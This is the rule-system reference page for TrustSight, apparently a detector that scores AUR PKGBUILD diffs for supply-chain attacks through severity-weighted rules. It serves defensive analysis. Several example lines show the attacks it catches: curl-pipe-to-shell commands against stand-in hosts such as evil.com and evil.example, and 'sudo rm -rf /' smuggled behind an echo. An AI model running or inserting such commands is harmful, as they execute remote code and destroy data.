Skip to content

Rule System Reference

How the rule engine works: the fields a rule carries, how severity becomes weight, what the series prefixes mean, and which identifiers are reserved. Individual rule definitions live on the category pages; every rule id below links to its own.

TrustSight uses rules to detect structural signals in PKGBUILD diffs. Each rule contributes to the final score based on its severity weight, match target, and scope.

How scoring uses rules

The final score is computed from four signal sources. Rules are the primary source (Tier A):

Score formula:

base = sum(severity_weight for each fired rule)
base += source_bucket_modifiers (Tier B)
base += novelty_weights scaled by maturity (Tier C)
final = clamp(base, 0, 100)

If a FATAL rule fires, the score is immediately set to 100 regardless of all other signals.

How severity weight maps to risk

Each severity level carries a weight that reflects its information value: how often does this signal fire on benign packages versus malicious ones?

Severity Weight Fire rate on benign corpus Meaning
FATAL 0 (hard-stop) Never Score immediately set to 100. Package is attempting to deceive the reviewer.
CRITICAL 40 Rare Almost certainly malicious if triggered. curl pipe bash, sudo in functions.
HIGH 25 Low Strong signal. Checksum manipulation, unexpected downloads.
MEDIUM 15 Moderate Notable but not definitive. Install file changes.
LOW 5 High Weak signal. Demoted from higher severity if corpus fire rate exceeds 30%.
INFO 0 Variable Recorded for audit trail only. No score contribution.

A CRITICAL rule on its own (weight 40) pushes a package into the FLAGGED range (21+). A single HIGH rule (weight 25) does the same. Two MEDIUM rules (15 + 15 = 30) also reach FLAGGED. The 20-point UNFLAGGED threshold means any single CRITICAL or HIGH rule, or any combination of lower-severity rules summing above 20, will flag the package.

How match_target selects what the rule sees

PKGBUILDs encode meaning at two levels. The text of the file declares structure (variables, arrays, function boundaries). The resolved values of those variables determine what actually runs. Rules target one or the other:

  • resolved target: the rule pattern is applied to the post-variable-expansion value of each function body and source array. This catches patterns hidden behind variables: curl $url | $shell in the diff becomes curl https://evil.com/hook.sh | bash after resolution.
  • raw_line target: the rule pattern is applied to the literal diff line with the +/- prefix stripped. This catches patterns in the PKGBUILD structure itself: a sha256sums=('SKIP') declaration or a unicode bidi override character.

Some patterns are only visible at the raw level (structure, declarations, unicode characters). Some are only meaningful after resolution (actual URLs, command strings). The two-target design covers both surfaces.

Both targets see logical lines, not physical ones. A shell continuation is joined before matching, so a command split across a trailing backslash is still matched as a whole:

curl \
  https://evil.example/x.sh | bash

Rules match one line at a time, so without this the pipe-to-shell patterns would see only curl \. Only lines carrying the same diff marker are joined, so an addition is never spliced onto a removal.

How scope reduces false positives

Scope restricts which lines a raw_line rule checks. Without scope, a rule like R009 (sudo) would fire on every line containing the word sudo, including comments (# sudo is required), messages (echo "sudo needed"), and top-level declarations (groups=('sudo')). The function_body scope restricts matching to lines inside build(), package(), check(), and similar functions where commands actually execute.

Scope is set per-rule in rules.toml. When absent, the rule matches all lines. Scope has no effect on resolved-target rules because resolution already strips comments and top-level declarations.

The message context applies only when a line is nothing but a message. A shell line does not end at its first command, so echo "x"; sudo rm -rf / is an execution context, not a message, and echo "$(curl evil | bash)" runs a command substitution inside the quotes. Any command separator (;, &, |) or substitution ($(, backtick) after the message keyword disqualifies the line, which is what stops a short prefix from switching a scoped rule off.

A scope entry may also name the enclosing function rather than a generic context. This distinguishes cases that function_body alone cannot: curl inside build() is routine, while curl inside pkgver() reaches the network during version resolution, before any review step. R051 uses scope = ["pkgver"] for exactly this.

Note that a bare function header (build() {) is classified as other, not function_body: the context applies to the lines inside the braces. A header that also carries code, though, is function_body, because that code really does run there: build() { curl evil | bash; } is matched by function_body-scoped rules, and the context does not leak to the lines that follow.

A pattern that matches the header while scoping itself to function_body therefore misses the ordinary multi-line form and only fires on single-line definitions; trustsight lint-rules reports this as scope-contradiction.

How rules map to evidence tiers

Tier Rule sources What they measure
A (Structural) R001-R140, C001-C007, D001-D004 Direct pattern matching against PKGBUILD commands and structure
B (Priors/Context) Source bucket classification Domain reputation of new URLs (not a rule, but a scoring input)
C (History/Novelty) URL and maintainer novelty First-seen signals from the local database
D (Verification) Checksum, PGP, GPG presence Declared integrity metadata, reported at weight 0

Rules only contribute to Tier A. Tiers B and C are computed independently and added to the score alongside the rule contributions.

Tier D contributes nothing to the score. Declared verification is emitted as weight-0 P001-P007 findings and reported to the reader: TrustSight never fetches, so it cannot confirm that a declared key signs anything, and a signal an attacker can assert for free must not be able to lower a score. See B10.

Declared-practice findings (P001-P007)

The P namespace reports practices the recipe declares, not risks that were found. The P prefix exists so a reader seeing P0xx in the output knows at once that it is not a risk finding. Every one is INFO, weight 0, and checkable by the reader against the file itself. Defined in src/trustsight/scoring.py; rendered from DECLARED_REASONS.

Id Meaning
P001 Checksums declared for all non-VCS sources (sha256sums)
P002 validpgpkeys declared
P003 A signature source accompanies a source, with PGP keys declared
P005 Source pinned to a full commit hash (checksum_pinned)
P006 Source pinned to a tag - the weaker pin, which R079 exists to flag because a tag can be repointed
P007 Source hosted on a trusted forge over HTTPS (trusted_forge bucket)

P004 is skipped. Only P002, P003 and P005 render unprompted by default: five of the seven on every package would bury the risk findings, and the default set is the ones a reader would find surprising by their absence. The rest render under --verbose. The P namespace contrasts with R079/R096/R110: those fire when a practice is changed, these report when one is present. No P finding can lower a score - B10.


R-series (TOML-configurable detection rules)

Defined in ~/.config/trustsight/rules.toml. Loaded at runtime via load_rules() in src/trustsight/rules.py.

Each rule supports these fields:

Field Type Description
id string Rule identifier (R001-R013 core, R014/R016-R025 additional TOML, R039-R059 expanded TOML, R060+ code-emitted).
name string Human-readable name.
pattern string Python regex applied to the match target.
severity string FATAL, CRITICAL, HIGH, MEDIUM, LOW, or INFO.
category string Semantic category (network_execution, obfuscation, installer, privilege, network_usage, injection, unicode, integrity).
match_target string "resolved" : apply to variable-resolved command strings after tokenization. "raw_line" : apply to raw diff lines after stripping the +/- prefix.
scope list[string] (Optional, raw_line only) Restrict matching to line contexts (["function_body"], ["message"], ["other"]) or to a named PKGBUILD function (["pkgver"], ["package"], ["package_foo"]). When absent, matches all lines.
added_only bool (Optional, raw_line only) Match only added (+) lines. Raw diff lines include removals, so without this a maintainer deleting a suspicious line raises the score. All R039+ rules set it.
experimental bool (Optional) Skip the rule unless [rules] experimental = true in config.toml. Used for rules whose false-positive rate has not been measured against the benign corpus.
include_comments bool (Optional) Also match comment lines, which are filtered out for every other rule. Only for rules whose target is the reader rather than the shell (R012, R013): a commented-out command does not run, but a comment is exactly where an injection or a hidden character lives.

R001

See R001: Remote Script Execution.

R002

See R002: Wget Pipe to Shell.

R003

See R003: Base64 Decode and Execute.

R004

See R004: Checksum Disabled.

R005

See R005: Checksum Emptied.

R006

See R006: Insecure Download Protocol.

R007

See R007: Install File Modification.

R008

See R008: Unexpected File Download.

R009

See R009: Privilege Escalation.

R010

See R010: Uses curl in PKGBUILD.

R011

See R011: Uses wget in PKGBUILD.

R012

See R012: Prompt Injection Detection.

R013

See R013: Unicode Bidi Override.

R014

See R014: validpgpkeys Added.

R016

See R016: New Make/Opt/Check Dependency.

R017

See R017: Setuid/Setgid Permission.

R018

See R018: Symlink Redirect.

R019

See R019: Suspicious Environment Variable.

R020

See R020: Network connection attempt.

R021

See R021: Suspicious file write.

R022

See R022: Sensitive binary execution.

R023

See R023: Strace detection attempt (TracerPid check).

R024

See R024: Strace log truncated (possible flood evasion).

R025

See R025: Eval or Exec Usage.

Severity weights

Configured in config.toml [severity_weights]:

Severity Weight
FATAL 0 (hard-stop score at 100)
CRITICAL 40
HIGH 25
MEDIUM 15
LOW 5
INFO 0

FATAL rules

R012 and R013 are FATAL. They contribute 0 weight to the running total but immediately set final_score = 100 and risk level "Critical". No other rules are evaluated for weight contribution after a FATAL fires; the short-circuit is in calculate_score() at src/trustsight/scoring.py.


C-series (code, structural rules)

Generated by _structural_findings() in src/trustsight/analysis/structural.py. Not configurable via TOML. Fire based on structural comparisons between the diff and the post-diff state. Each one compares the before and after of the diff; a checksum that changed while the source stayed put, a URL swapped without a version bump; which a pattern matched against one line at a time cannot express. Comparisons use _pkgver_changed_in_diff() to detect pkgver= value changes.

_structural_findings() is shared by analyze_package() (live) and scan_diff() (offline replay), so the two pipelines cannot drift apart.

C001

See C001: Checksum Changed Without Source Change With Stable Version.

C002

See C002: Checksum Updated With Version Bump.

C003

See C003: Source URL Changed Without Version Bump.

C004

See C004: Checksum Removed For Unchanged Source.

C005

See C005: Binary Artifact From Untrusted Source.

C006

See C006: Maintainer Change With New Source Domain.

C007

See C007: Command Substitution In Source Array.


Expanded ruleset (R039+)

These rules roughly double the pattern-based detection surface. They are enabled by default, having been calibrated against a 3246-diff stratified benign corpus: fourteen fire on zero benign diffs, and every remaining hit was inspected individually; all but one were true positives. Enabling them costs 0.5 percentage points of zero-rate and leaves p95 unchanged.

The experimental flag remains supported for future additions. A rule carrying experimental = true is skipped unless config.toml sets:

[rules]
experimental = true

Numbering jumps over R015, R026-R038 to keep the core and expanded ranges readable. R014 and R016-R025 shipped as TOML rules and are documented above; R015 and R026-R038 are reserved: they are referenced by nothing in the shipped config and must not be assigned casually, because a maintainer rule that reuses an id already present in a user's rules.toml would silently change what the user's override means.

Every raw_line rule below sets added_only = true.

R039

See R039: Eval With Dynamic Content.

R040

See R040: Shell -c With Dynamic Payload.

R041

See R041: Shell Network Redirection.

R042

See R042: Download Then Execute.

R043

See R043: Base64 Blob Decode.

R044

See R044: Interpreter One-Liner With Network.

R045

See R045: Binary Encoding Pipe.

R046

See R046: Source URL Uses IP Address.

R047

See R047: Source URL Uses Non-Standard Port.

R048

See R048: Source URL On Free Registrar TLD.

R049

See R049: Compiler Plugin Or Loader Override.

R050

See R050: Compiler Hardening Disabled.

R051

See R051: Network Access In pkgver.

R052

See R052: Dotfile Written To User Profile.

R053

See R053: Setuid Or Setgid Bit Set In Package Root.

R059

See R059: Setuid Or Setgid Bit Set Outside Package Root.

R054

See R054: Persistence Unit Outside Package Root.

R055

See R055: Git Clone With Variable Branch.

R056

See R056: Download Then Source.

R057

See R057: TLS Verification Disabled.

R058

See R058: Write Outside Package Root.


R060

See R060: Critical Build Function Modified.

R061

See R061: Hidden Network Fetch In Build.


Measured fire rates

Measured against the 3246-diff benign corpus with a 209,909-name dependency corpus. All D-series, R061-R064, and R081-R082 rules are on by default, as are the code-emitted rules R083-R131. These are false-positive rates: every hit is a benign package.

The numbers are enforced, not just recorded. scripts/calibration_gates.py replays the corpus against the shipped configuration in a temporary directory with a cold database, and fails the build if any scoring rule exceeds a 0.30 fire rate, if benign p95 reaches the malicious p5, if a weight-0 annotation starts scoring, or if a labelled attack fixture stops being detected. It runs on every push. Class C and Class D rules are absent from this table because they cannot fire on a stateless diff at all, which is itself one of the gates.

For a complete reference including the core and expanded rules, see Fire Rates.

Rule Severity Fires Rate Read
D004 HIGH 0 0.00 % No false positive across the 2084 corpus diffs that declare provides/replaces.
R062 HIGH 3 0.09 % All mullvad-vpn-bin, which sets a setuid bit and enables a unit from post_install(). Real privileged behaviour, which is the point.
R063 HIGH 0 0.00 % Zero, because it asks where the patch comes from rather than whether it is declared. The broad "not in source=()" form measured 2.13 %.
R064 MEDIUM 1 0.03 % transset-df, a genuine https to http downgrade.
R065 INFO - - Not calibrated: fires on any recent update, which is inherently time-of-run dependent.
R066 INFO - - Not calibrated: fires on packages < 30 days old, which is a small and shifting set.
R067 MEDIUM - - Not calibrated: fires when the user's last analysis is > 1 year old, which varies per database.
R068 INFO - - Not calibrated: zero-weight metadata; context only.
R069 HIGH 1 0.03 % Near-zero; matches the predicted rate.
R070 HIGH/MED 8 0.25 % All HIGH (LD_ vars). No MEDIUM fires in corpus.
R071 HIGH - TBD Not corpus-measurable; requires live git history.
R072 INFO 515 15.87 % INFO weight 0; not a scoring impact.
R074 HIGH 2/179 pkgs 1.12 % Measured via package-name scan with seeded DB. Fires on dosbox-x and electron36.
R075 MEDIUM 11 0.34 % Measured with seeded DB (209,909-name seed). Well under the 30% gate.
D001 HIGH 5 0.15 % Comfortably low for HIGH. All five are real package names that simply nothing else in the AUR depends on (kde-rounded-corners-x11, python2-gevent-eventemitter, udfclient-fuse3), not parser noise.
D002 HIGH 0 0.00 % No false positive anywhere in the corpus. Bounded by D001, which it refines.
D003 MEDIUM 15 0.46 % Almost all are git added to fetch submodules, the legitimate case the MEDIUM severity anticipates.
R060 INFO 694 21.4 % Why it is INFO. No narrowing reaches triage quality (pkgver unchanged still leaves 11.6 %, a bump that also edits build() is 9.8 %), so it carries weight 0 and reports context instead of scoring. Harmless at that weight, hence on by default.
R061 HIGH 7 0.22 % The hits are real build-time downloads (apple-fonts, ttf-ms-win-*, gamescope-nvidia), which is the behaviour the rule exists to surface rather than noise.
R076 MEDIUM 0 0.00 % Needs both an unsafe literal version and its interpolation into a source URL.
R077 HIGH 1 0.03 % A legitimate $HOME/.config/...log write from a post_upgrade.
R079 HIGH/MED 4 0.12 % Maintainers tracking a moving patch branch under a fixed version, which is the shape the rule describes.
R080 MEDIUM 6 0.18 % Schemes outside the shipped allowlist.
R084 HIGH 0 0.00 % mktemp -d is excluded wholesale, so private scratch directories never count.
R087 HIGH 0 0.00 % The one paste-host reference in the corpus is a gist download, which is R061's.
R085 HIGH 0 0.00 % Reads the unit's ExecStart, not its filename.
R086 INFO 0 0.00 % env was dropped after a sed expression read as a command position.
R088 HIGH 0 0.00 % Deliberately the quietest of the persistence group.
R089 INFO 0 0.00 % A benign diff with one or two hits cannot reach three distinct stages.
R106 tiered 0 0.00 % With the shipped (empty) list and with a synthetic one. A positive control (github.com) fires on 1561 diffs, so the surface extraction is real.
R114 MEDIUM 4 0.12 % Packages that legitimately ship pacman hooks.
R115 MEDIUM 0 0.00 % An unchanged epoch never surfaces in a hunk.
R116 HIGH/MED 0 0.00 % Related name shapes suppress; cold start cannot fire.
R117 INFO 0 0.00 % Weight 0. Anchoring the check on an ANSI-C quote opener removed four regex end-anchor false positives.
R119 HIGH 0 0.00 % Architecture checks are not probes.
R120 HIGH 0 0.00 % A type check on decoded bytes, so encodings do not need enumerating.
R121 HIGH 0 0.00 % Heredoc bodies are excluded from command scanning.
R123 HIGH 0 0.00 % Command-position anchored; a client in makedepends is a declaration.
R124 HIGH 0 0.00 % Still zero after the execution match was widened to a path with arguments.
R128 HIGH 0 0.00 % A representative backdoor fixture goes from 25 to 50 with it.
R129 HIGH 3 0.09 % One package resolving a redirect with curl at the top level, which really does fetch on a metadata refresh.
R130 HIGH/MED/INFO 6 0.18 % Two introductions and four upstream key rotations.
R131 HIGH/MED 3 0.09 % One wine package that genuinely disables FORTIFY_SOURCE.

Getting D001 from 5.95 % to 0.15 % took two extractor fixes, both found by this measurement rather than by review:

  • An unbounded fallback for unquoted array entries read shell fragments (if, [[, !) out of a package() body as dependency names.
  • Comments inside dependency arrays contributed every word of the note (required, because, disabled).

Both are covered by regression tests in tests/test_deps_rules.py.

R062

See R062: Install Hook Fetches Or Executes.

R063

See R063: Patch Applied From Outside The Build Tree.

R064

See R064: Source URL Downgraded To HTTP.


Temporal context rules (R065-R067)

Defined in src/trustsight/analysis/temporal.py. They inspect git commit timestamps on the AUR repository to surface temporal signals. None require a diff, so they also fire on first-seen packages in _make_fresh_analysis() (in pipeline.py).

All three are on by default with no config toggle.

R065

See R065: Very Recent Update.

R066

See R066: Brand New Package.

R067

See R067: Stale Package Revived.


Install and build context rules (R068-R070)

Defined in src/trustsight/analysis/build.py and src/trustsight/analysis/pipeline.py. They inspect the diff for changes to security-critical build and install infrastructure - hooks that run as root, signature verification that gets dropped, environment variables that subvert the compiler.

R068

See R068: Install Hook Present.

R069

See R069: GPG Verification Removed.

R070

See R070: Build Environment Subversion.


Maintainer and capability rules (R071-R072)

R071

See R071: Untrusted Maintainer Takeover.

R072

See R072: Capability Density Anomaly.


Temporal metadata (R073) - not a scored finding

R073

See R073: Accelerated Release Cadence.


Naming rule (R074) - package-name typosquat

R074

See R074: Package-Name Typosquat.


Dependency-set expansion rule (R075)

R075

See R075: Dependency-Set Expansion.


Install and build context rules (R081-R082)

Defined in src/trustsight/analysis/build.py. They inspect install hooks and build-function content for additional risk signals. Both graduated from experimental to enabled by default in v0.11.0 with zero false positives on the 3243-diff benign corpus.

R081

See R081: Foreign Package Manager In Install Hook.

R082

See R082: Shell Obfuscation Density.


D-series dependency rules

Defined in src/trustsight/analysis/dependencies.py, not in rules.toml. They compare the dependency arrays before and after the diff and consult the local database, so they cannot be expressed as a pattern over a single line.

They also have to bypass the engine's own filtering: rules.py strips depends, makedepends, optdepends, and checkdepends lines before any pattern runs, which is why extraction lives in src/trustsight/deps.py.

All D-series rules are enabled by default since v0.7.0. Disable them individually under [experimental_rules].

D001

See D001: Novel Dependency Added.

D002

See D002: Typosquatted Dependency.

D004

See D004: Dependency Hijack Via Provides.

D003

See D003: New Network-Using Makedepends.


Network-surface rules (R076, R079, R080, R087, R123, R129)

These six ask one question in different places: what does this recipe reach over the network, in which direction, and when.

R076

See R076: Version-In-URL Injection.

R079

See R079: Moved Git Ref.

R080

See R080: Exotic Source Protocol.

R087

See R087: Upload To Paste Or File-Drop Host.

R123

See R123: Covert Egress.

R129

See R129: Parse-time Network Fetch.


Install-path persistence (R077, R084, R085, R088, R114, R128)

One shared write-target resolver backs this group (analysis/persistence.py): install/cp/mv/ln destinations including -t DIR, > redirects, and the verb-substitution forms tee, dd of=, mkdir -p, touch, rsync and sed -i. Every match is command-position anchored, so a quoted string such as 'cp x ~/.zshrc' never reads as a write.

R077

See R077: Write To User Home Or RC.

R084

See R084: World-Writable Staging.

R085

See R085: Systemd ExecStart From Runtime-Writable Path.

R088

See R088: Hidden Drop.

R114

See R114: Pacman Hook Installed.

R128

See R128: Build Writes Outside Staging Root.


Reconstruction and delivery (R117 to R124, R127, R132, R136 to R140)

R117

See R117: Obfuscated Literal Reconstructed.

R132

See R132: Indirect Command Expansion.


R118

See R118: Embedded Binary In Tree.

R119

See R119: Anti-Analysis Check.

R120

See R120: Reconstructed Executable Payload.

R121

See R121: Build-time Generation Then Execution.

R122

See R122: Archive Trailer Anomaly.

R124

See R124: Write Then Execute.

R127

See R127: Indirect Remote Execution.

R136

See R136: Committed File Executed Without Declaration.

R137

See R137: Fetch Then Execute.

R138

See R138: Downloaded Source File Executed.

R139

See R139: Service ExecStart Targets Undeclared Binary.

R140

See R140: PATH Injection With Undeclared Directory.


Composition (R086, R089)

Both are annotations. Neither adds weight, so neither can turn an UNFLAGGED package into a flagged one on its own.

R086

See R086: Host Reconnaissance.

R089

See R089: Attack-Chain Composition.


Integrity and trust (R130, R131)

R130

See R130: Signing Key Set Changed.

R131

See R131: Build Flags Weakened.


Class B: declaration-scope rules (R115, R116)

R115

See R115: Epoch Introduced.

R116

See R116: Provides/Replaces Scope Expansion.


Class C: longitudinal rules (R083, R094 to R098, R102)

Class C rules do not read a diff. They read PropertyBreak records from the corpus property layer: a value that held for many consecutive observations and then changed. Every one of them is silent on a cold database by construction, because the first observation of a property only inserts it.

The [longitudinal] stability_floor (default 10) is the gate: a value must hold at least that many consecutive observations before a change is reported at all. Above the floor the weight ramps logistically, reaching roughly 0.9 by about 40 observations.

R083

See R083: Long-Stable Property Changed.

R094

See R094: Security-Relevant Build Flag Change.

R095

See R095: Dependency Vendored Into Source.

R096

See R096: Source Host Changed.

R097

See R097: Version Scheme Changed.

R098

See R098: Package Description Changed.

R102

See R102: Build System Changed.


Class D: corpus rules (R071, R090, R092, R093, R100, R101, R105, R107, R108, R110, R111, R112, R125, R126)

Class D rules describe the corpus, not a package. They run once per metadata cycle in trustsight full-aur, after the per-package loop, and each returns one finding per cluster, with the members in params.members. They are silent without a prior snapshot: the calibration gate is fire_rate(no_baseline) == 0.

R071

See R071: Untrusted Maintainer Takeover (corpus path).

R090

See R090: Ownership Transition.

R092

See R092: Mass Adoption.

R093

See R093: Orphan/Adoption Dependency.

R100

See R100: Shared Source Repository.

R101

See R101: Name/Host Consensus Divergence.

R105

See R105: Attribute Burst.

R107

See R107: Transitive Exposure.

R108

See R108: Maintainer Baseline Deviation.

R110

See R110: Name/Repo Divergence.

R111

See R111: Transitive Orphan Exposure.

R112

See R112: Dependency Centrality.

R125

See R125: Introduction Rate Deviation.

R126

See R126: Adopt-then-Modify.


Class E: indicators of compromise (R106)

R106

See R106: Known Indicator of Compromise.


Not currently a rule

  • R073 (release cadence) is metadata on the analysis record, not a scored finding. See R073.
  • R103 and R109 describe the ruleset's ceiling rather than a detection. See the novelty ceiling.

The R-series identifier space is not contiguous. Reserved ids appear nowhere in the shipped config or the code-emitted rule set:

  • R015, R026-R038: held apart so the core and expanded ranges stay readable, and reassigning them could clash with user rules.toml overrides.
  • R078, R091, R099, R103-R104, R109, R113: unassigned in the current shipped configuration. R103/R109 are claimed above as the novelty ceiling; the rest are simply unused and may be returned to service when a detection needs them.

Benchmark performance

Measured against the TrustSight test corpus.

Two rows predate a ruleset expansion

The recall rows above were measured while observation_count was never populated, so Tier C novelty contributed zero to every score (see Cold Start and Maturity), and before the R039+ expanded rules or C004-C007 shipped. The three distribution rows below are re-measured by the calibration gates against the current 3,246-diff corpus on every push.

Rule Recall Notes
CRITICAL class (all) 100 % Every CRITICAL-class sample detected.
R012 (prompt injection) 17 % Tripwire; catches obvious patterns only. Low recall is intentional.
R013 (unicode bidi) 88 % Misses some bidi variants.
Benign zero-rate 69.1 % Percentage of benign diffs scoring 0.
Benign p95 45 95th percentile score on benign corpus.
CRITICAL p5 60 5th percentile score on CRITICAL-class corpus.